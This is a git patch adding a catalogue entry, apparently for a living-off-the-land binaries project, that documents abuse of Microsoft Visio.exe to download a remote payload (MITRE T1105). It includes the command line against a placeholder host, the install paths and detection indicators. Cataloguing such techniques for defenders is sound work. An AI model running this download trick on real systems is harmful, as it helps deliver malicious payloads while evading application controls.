From 35148cc39eec3f250b765e2402d62f8a85f3279f Mon Sep 17 00:00:00 2001 From: Avihay Eldad <46644022+avihayeldad@users.noreply.github.com> Date: Thu, 6 Jun 2024 01:50:25 +0300 Subject: [PATCH] Add Visio.exe as a downloader (#356) Co-authored-by: Wietze --- yml/OtherMSBinaries/Visio.yml | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 yml/OtherMSBinaries/Visio.yml diff --git a/yml/OtherMSBinaries/Visio.yml b/yml/OtherMSBinaries/Visio.yml new file mode 100644 index 0000000..2c141e5 --- /dev/null +++ b/yml/OtherMSBinaries/Visio.yml @@ -0,0 +1,34 @@ +--- +Name: Visio.exe +Description: Microsoft Visio Executable +Author: Avihay Eldad +Created: 2024-02-15 +Commands: + - Command: Visio.exe https://example.com/payload + Description: Downloads payload from remote server + Usecase: It will download a remote payload and place it in INetCache. + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows + Tags: + - Download: INetCache +Full_Path: + - Path: C:\Program Files (x86)\Microsoft Office\Office14\Visio.exe + - Path: C:\Program Files\Microsoft Office\Office14\Visio.exe + - Path: C:\Program Files (x86)\Microsoft Office\Office15\Visio.exe + - Path: C:\Program Files\Microsoft Office\Office15\Visio.exe + - Path: C:\Program Files (x86)\Microsoft Office\Office16\Visio.exe + - Path: C:\Program Files\Microsoft Office\Office16\Visio.exe + - Path: C:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exe + - Path: C:\Program Files\Microsoft Office\root\Office14\Visio.exe + - Path: C:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exe + - Path: C:\Program Files\Microsoft Office\root\Office15\Visio.exe + - Path: C:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exe + - Path: C:\Program Files\Microsoft Office\root\Office16\Visio.exe +Detection: + - IOC: URL on a visio.exe command line + - IOC: visio.exe making unexpected network connections or DNS requests +Acknowledgement: + - Person: Avihay Eldad + Handle: '@AvihayEldad'